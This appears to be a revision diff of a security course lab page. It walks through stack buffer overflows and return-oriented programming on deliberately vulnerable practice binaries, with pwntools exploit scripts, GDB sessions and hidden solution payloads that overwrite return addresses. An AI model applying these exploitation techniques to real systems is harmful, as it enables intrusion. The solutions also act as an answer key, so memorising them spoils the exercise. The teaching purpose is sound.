+ | parizer | ||
+ | 18 printf("bye\n"); | ||
+ | ... | ||
+ | pwndbg> p name | ||
+ | $3 = "parizer\000\302bUV" | ||
</code> | </code> | ||
- | And a chain piece would look like: | + | </solution> |
+ | |||
+ | === 04. [5p] ASLR === | ||
+ | |||
+ | Start the execution and print the address of ''buf'' from the main function, and then repeat. What do you notice? | ||
+ | |||
+ | Check from GDB if ASLR is enabled. What happens and how can you fix it? | ||
+ | |||
+ | **Hint:** [[http://visualgdb.com/gdbreference/commands/set_disable-randomization]] | ||
+ | <solution -hidden> | ||
<code> | <code> | ||
- | <address_of_function> + <ROP gadget> + <arg> + <arg> ... | + | |
+ | pwndbg> start | ||
+ | 22 if (argc == 1) { | ||
+ | ... | ||
+ | pwndbg> p &buf | ||
+ | $4 = (char (*)[4]) 0xffffd86c | ||
+ | pwndbg> start | ||
+ | 22 if (argc == 1) { | ||
+ | ... | ||
+ | pwndbg> p &buf | ||
+ | $5 = (char (*)[4]) 0xffffd86c | ||
+ | pwndbg> show disable-randomization | ||
+ | Disabling randomization of debuggee's virtual address space is on. | ||
+ | pwndbg> set disable-randomization off | ||
+ | pwndbg> start | ||
+ | 22 if (argc == 1) { | ||
+ | ... | ||
+ | pwndbg> p &buf | ||
+ | $6 = (char (*)[4]) 0xffdfba0c | ||
+ | pwndbg> start | ||
+ | 22 if (argc == 1) { | ||
+ | ... | ||
+ | pwndbg> p &buf | ||
+ | $7 = (char (*)[4]) 0xffe73a5c | ||
</code> | </code> | ||
- | <note> | + | </solution> |
- | Again, the goal of ROP should be clean the stack and the 'ret' should drop on the adress of the next chain piece or next code pointer that we want to access. This is called a ROP chain. | + | |
- | </note> | + | |
- | <spoiler Here is a pwn script to help you with this! (use python3) > | + | === 05. [15p] Address investigation === |
+ | |||
+ | Restart gdb and run until the beginning of the ''copy'' function. | ||
+ | |||
+ | * At what address is ''name'' located? | ||
+ | |||
+ | * At what address is the saved return address located? | ||
+ | |||
+ | * How many bytes of input do you need in order to overwrite the return address? | ||
+ | |||
+ | **Hint:** Display stack info using ''info frame''. | ||
+ | |||
+ | <solution -hidden> | ||
<code> | <code> | ||
- | from pwn import * | ||
- | import sys | ||
- | context.log_level = 'info' | + | ➜ gdb buggy |
+ | ... | ||
+ | pwndbg> b copy | ||
+ | Breakpoint 1 at 0x1229: file buggy.c, line 16. | ||
+ | pwndbg> r "Florin" | ||
+ | Starting program: /home/student/appsec/buggy "Florin" | ||
+ | ... | ||
+ | hey, Florin | ||
- | BIN_name = "./vuln32" | + | Breakpoint 1, copy () at buggy.c:16 |
- | context.binary = BIN_name | + | 16 printf("what's ur last name?\n"); |
+ | ... | ||
+ | pwndbg> p &name | ||
+ | $1 = (char (*)[12]) 0xffffd834 | ||
+ | pwndbg> info frame | ||
+ | Stack level 0, frame at 0xffffd850: | ||
+ | eip = 0x80491e0 in copy (buggy.c:16); saved eip = 0x804926a | ||
+ | called by frame at 0xffffd880 | ||
+ | source language c. | ||
+ | Arglist at 0xffffd848, args: | ||
+ | Locals at 0xffffd848, Previous frame's sp is 0xffffd850 | ||
+ | Saved registers: | ||
+ | ebp at 0xffffd848, eip at 0xffffd84c | ||
+ | pwndbg> p 0xffffd84c - 0xffffd834 | ||
+ | $2 = 24 | ||
- | #you can use this to extract addresses of the functions | + | </code> |
- | e = ELF(BIN_name) | + | </solution> |
- | secret_addr = e.symbols['secret'] | + | |
- | surprise_addr = e.symbols['surprise'] | + | |
- | print('secret: 0x{:08x}'.format(secret_addr)) | + | === 06. [5p] Buffer overflow === |
- | print('surprise: 0x{:08x}'.format(surprise_addr)) | + | |
- | offset = 44 # sizeof(buf) + sizeof(ebp) == 32 + ?*8 + 4 offset is on the house today :) | + | We want to overflow the buffer ''name'' from the ''copy()'' function. Run the program and provide an input so that the program crashes. |
- | pop_ret_gadget = 0x0 # : pop ebx ; ret # gadget | + | |
- | arg1 = 0x0 | + | |
- | arg2 = 0x0 | + | |
- | #ex a piece of chain: p32(secret_addr) + p32(pop_ret_gadget) + p32(arg1) | + | <note tip> |
- | payload = b"A" * offset + p32(secret_addr) + p32(pop_ret_gadget) + p32(arg1) + ... | + | You can use ''%%run args < <(python3 -c 'import sys; sys.stdout.buffer.write(b"A" * N)')%%'' for stdin redirection directly within GDB! ;) |
+ | </note> | ||
- | print(len(payload)) | + | <note warning> |
- | print(payload) | + | |
- | sys.stdout.buffer.write(payload) | + | |
- | io = process(BIN_name) | + | Do not use ''print'' in Python for this purpose as some installations (especially on Ubuntu) use a default UTF-8 encoding and auto-correct any unknown binary string to a valid sequence. |
- | # gdb.attach(io) | + | You can test the binary output using **xxd**: ''python3 -c '... write here ...' | xxd -g 1'' |
- | io.sendline(payload) | + | </note> |
- | # a = io.recvline() | + | === 07. [20p] Call the ''wanted'' function === |
- | # print(a) | + | |
- | io.interactive() | + | We want to create an attack which invokes the ''wanted'' function. What is the address of this function? |
+ | |||
+ | Adjust the input so that the return address is overwritten with the address of the ''wanted'' function. | ||
+ | |||
+ | <note tip> | ||
+ | |||
+ | Use ''objdump -d -M intel buggy'' to list all the addresses from the binary. Look for the address of the ''wanted'' function. | ||
+ | |||
+ | </note> | ||
+ | |||
+ | You can see that when using ''objdump'' the addresses look weird (short): | ||
+ | |||
+ | <code> | ||
+ | |||
+ | 000011cd <wanted>: | ||
+ | 11cd: 55 push ebp | ||
+ | 11ce: 89 e5 mov ebp,esp | ||
+ | 11d0: 53 push ebx | ||
+ | 11d1: 83 ec 04 sub esp,0x4 | ||
</code> | </code> | ||
- | </spoiler> | ||
- | == 10. [Bonus] same as above but for 64 bit binary == | + | They aren't actually real addresses, they are offsets counting the number of bytes from the beginning of the file. |
+ | |||
+ | This happens because the program was compiled as PIC (position independent code). | ||
+ | More details can be found [[https://codywu2010.wordpress.com/2014/11/29/about-elf-pie-pic-and-else/|here]]. | ||
+ | |||
+ | Recompile the program without PIC and PIE using ''-fno-pic -no-pie'' options for GCC. | ||
- | Recompile rop.c prog: | ||
<code> | <code> | ||
- | gcc rop.c -o vuln64 -fno-stack-protector -no-pie | + | |
+ | 080491a6 <wanted>: | ||
+ | 80491a6: 55 push ebp | ||
+ | 80491a7: 89 e5 mov ebp,esp | ||
+ | 80491a9: 83 ec 08 sub esp,0x8 | ||
</code> | </code> | ||
- | <spoiler And here is the script to help you: > | + | |
+ | <solution -hidden> | ||
<code> | <code> | ||
- | from pwn import * | ||
- | import sys | ||
- | context.log_level = 'info' | + | pwndbg> run "Florin" < <(python3 -c 'import sys; sys.stdout.buffer.write(b"A" * 24 + b"\xa6\x91\x04\x08")') |
+ | ... | ||
+ | hey, args | ||
+ | what's ur last name? | ||
+ | bye | ||
+ | at least you tried | ||
- | BIN_name = "./vuln64" | + | Program received signal SIGSEGV, Segmentation fault. |
- | context.binary = BIN_name | + | |
- | e = ELF(BIN_name) | + | </code> |
+ | </solution> | ||
- | secret_addr = e.symbols['secret'] | + | === 08. [20p] Calling the ''wanted'' function with the correct arguments === |
- | surprise_addr = e.symbols['surprise'] | + | |
- | print('secret: 0x{:08x}'.format(secret_addr)) | + | The ''wanted'' function takes an argument. |
- | print('surprise: 0x{:08x}'.format(surprise_addr)) | + | |
- | offset = 40 # sizeof(buf) + sizeof(ebp) == 32 + 8 | + | Adjust the previous payload so that when calling ''wanted'', the message ''well done, you're cool!'' is displayed. |
- | pop_rdi_ret_gadget = 0x0 #: pop rdi ; ret # posibil sa trebuiasca o adresa noua pt gadget | + | <solution -hidden> |
- | arg1 = 0 | + | <code> |
- | arg2 = 0 | + | |
- | # here he have another chain piece structure | + | pwndbg> run "Florin" < <(python3 -c 'import sys; sys.stdout.buffer.write(b"A" * 24 + b"\xa6\x91\x04\x08" + b"B" * 4 + b"\xbe\xba\xfe\xca")') |
+ | ... | ||
+ | hey, Florin | ||
+ | what's ur last name? | ||
+ | bye | ||
+ | well done, you're cool! | ||
- | payload = b"A" * offset + p64(pop_rdi_ret_gadget) + p64(arg1) + p64(secret_addr) # + ... | + | Program received signal SIGSEGV, Segmentation fault. |
- | print(len(payload)) | + | </code> |
- | print(payload) | + | </solution> |
- | sys.stdout.buffer.write(payload) | + | |
- | # io = remote('<ip>', <port>) | + | === 09. [20p] Graceful exit === |
- | io = process(BIN_name) | + | |
- | # gdb.attach(io) | + | We can see that even if we call ''wanted'' with the correct arguments, the program still crashes. |
- | io.sendline(payload) | + | Let's remove any trace that we've been there. Adjust the previous payload so that the program exits without a segmentation fault. |
- | # a = io.recvline() | + | <note tip> |
- | # print(a) | + | |
- | io.interactive() | + | Can you call another function after ''wanted''? |
+ | What would be a great function to call? | ||
+ | |||
+ | Where can you get its address from? | ||
+ | |||
+ | After finding out the function, look for its address using ''objdump'', you might find something there. | ||
+ | |||
+ | </note> | ||
+ | |||
+ | <solution -hidden> | ||
+ | <code> | ||
+ | |||
+ | ➜ objdump -d -M intel buffovf | grep exit | ||
+ | 08049080 <exit@plt>: | ||
+ | ... | ||
+ | ➜ gdb buggy | ||
+ | ... | ||
+ | pwndbg> run "Florin" < <(python3 -c 'import sys; sys.stdout.buffer.write(b"A" * 24 + b"\xa6\x91\x04\x08" + b"\x80\x90\x04\x08" + b"\xbe\xba\xfe\xca")') | ||
+ | ... | ||
+ | hey, Florin | ||
+ | what's ur last name? | ||
+ | bye | ||
+ | well done, you're cool! | ||
+ | [Inferior 1 (process 39220) exited normally] | ||
</code> | </code> | ||
- | </spoiler> | + | </solution> |
- | ==== 11. [10p] Feedback ==== | + | <hidden> |
- | Please take a minute to fill in the [[https://forms.gle/5Lu1mFa63zptk2ox9|feedback form]] for this lab. | + | === 10. Writing memory === |
+ | We want to use our new GDB skills to make the application print two times ''Hello!'', even if we run it having ''AAA'' as argument. | ||
+ | - Find out the address of the buffer containing the ''Hello!'' string. | ||
+ | - Continue the execution until the beginning of the ''copy'' function, disassemble the code and go step by step through the assembly instructions until the ''call'' instruction (do not execute the call). | ||
+ | - Print the value of the stack pointer. Dump 2 values on the stack. What are the two values representing? | ||
+ | - Overwrite the second value on the stack with the address of the buffer containing the ''Hello!'' string and then continue the execution. What happened? | ||
+ | <solution -hidden> | ||
+ | <code> | ||
+ | |||
+ | (gdb) b main | ||
+ | Breakpoint 2 at 0x8048483: file buffovf.c, line 16. | ||
+ | (gdb) r | ||
+ | The program being debugged has been started already. | ||
+ | Start it from the beginning? (y or n) y | ||
+ | Starting program: /home/veronica/work/isc/lab6/buffovf AAA | ||
+ | |||
+ | Breakpoint 2, main (argc=2, argv=0xffffcff4) at buffovf.c:16 | ||
+ | 16 char buf[] = "Hello!"; | ||
+ | (gdb) p &buf | ||
+ | $10 = (char (*)[7]) 0xffffcf39 | ||
+ | (gdb) c | ||
+ | Continuing. | ||
+ | Hello! | ||
+ | |||
+ | Breakpoint 1, copy (arg=0xffffd20b "AAA") at buffovf.c:12 | ||
+ | 12 strcpy(buf, arg); | ||
+ | (gdb) disass | ||
+ | Dump of assembler code for function copy: | ||
+ | 0x08048454 <+0>: push %ebp | ||
+ | 0x08048455 <+1>: mov %esp,%ebp | ||
+ | 0x08048457 <+3>: sub $0x18,%esp | ||
+ | => 0x0804845a <+6>: sub $0x8,%esp | ||
+ | 0x0804845d <+9>: pushl 0x8(%ebp) | ||
+ | 0x08048460 <+12>: lea -0xd(%ebp),%eax | ||
+ | 0x08048463 <+15>: push %eax | ||
+ | 0x08048464 <+16>: call 0x8048300 <strcpy@plt> | ||
+ | 0x08048469 <+21>: add $0x10,%esp | ||
+ | 0x0804846c <+24>: nop | ||
+ | 0x0804846d <+25>: leave | ||
+ | 0x0804846e <+26>: ret | ||
+ | End of assembler dump. | ||
+ | (gdb) si | ||
+ | 0x0804845d 12 strcpy(buf, arg); | ||
+ | (gdb) si | ||
+ | 0x08048460 12 strcpy(buf, arg); | ||
+ | (gdb) si | ||
+ | 0x08048463 12 strcpy(buf, arg); | ||
+ | (gdb) si | ||
+ | 0x08048464 12 strcpy(buf, arg); | ||
+ | (gdb) disass | ||
+ | Dump of assembler code for function copy: | ||
+ | 0x08048454 <+0>: push %ebp | ||
+ | 0x08048455 <+1>: mov %esp,%ebp | ||
+ | 0x08048457 <+3>: sub $0x18,%esp | ||
+ | 0x0804845a <+6>: sub $0x8,%esp | ||
+ | 0x0804845d <+9>: pushl 0x8(%ebp) | ||
+ | 0x08048460 <+12>: lea -0xd(%ebp),%eax | ||
+ | 0x08048463 <+15>: push %eax | ||
+ | => 0x08048464 <+16>: call 0x8048300 <strcpy@plt> | ||
+ | 0x08048469 <+21>: add $0x10,%esp | ||
+ | 0x0804846c <+24>: nop | ||
+ | 0x0804846d <+25>: leave | ||
+ | 0x0804846e <+26>: ret | ||
+ | End of assembler dump. | ||
+ | (gdb) p $esp | ||
+ | $8 = (void *) 0xffffcef0 | ||
+ | (gdb) x/2xw 0xffffcef0 | ||
+ | 0xffffcef0: 0xffffcf0b 0xffffd20b | ||
+ | (gdb) x/s 0xffffd20b | ||
+ | 0xffffd20b: "AAA" | ||
+ | (gdb) set {int}0xffffcef4=0xffffcf39 | ||
+ | (gdb) x/2xw 0xffffcef0 | ||
+ | 0xffffcef0: 0xffffcf0b 0xffffcf39 | ||
+ | (gdb) c | ||
+ | Continuing. | ||
+ | Hello! | ||
+ | [Inferior 1 (process 2906) exited normally] | ||
+ | |||
+ | </code> | ||
+ | </solution> | ||
+ | |||
+ | </hidden> | ||
+ | |||
+ | === Feedback === | ||
+ | |||
+ | Please take a minute to fill in the [[https://forms.gle/5Lu1mFa63zptk2ox9|feedback form]] for this lab. | ||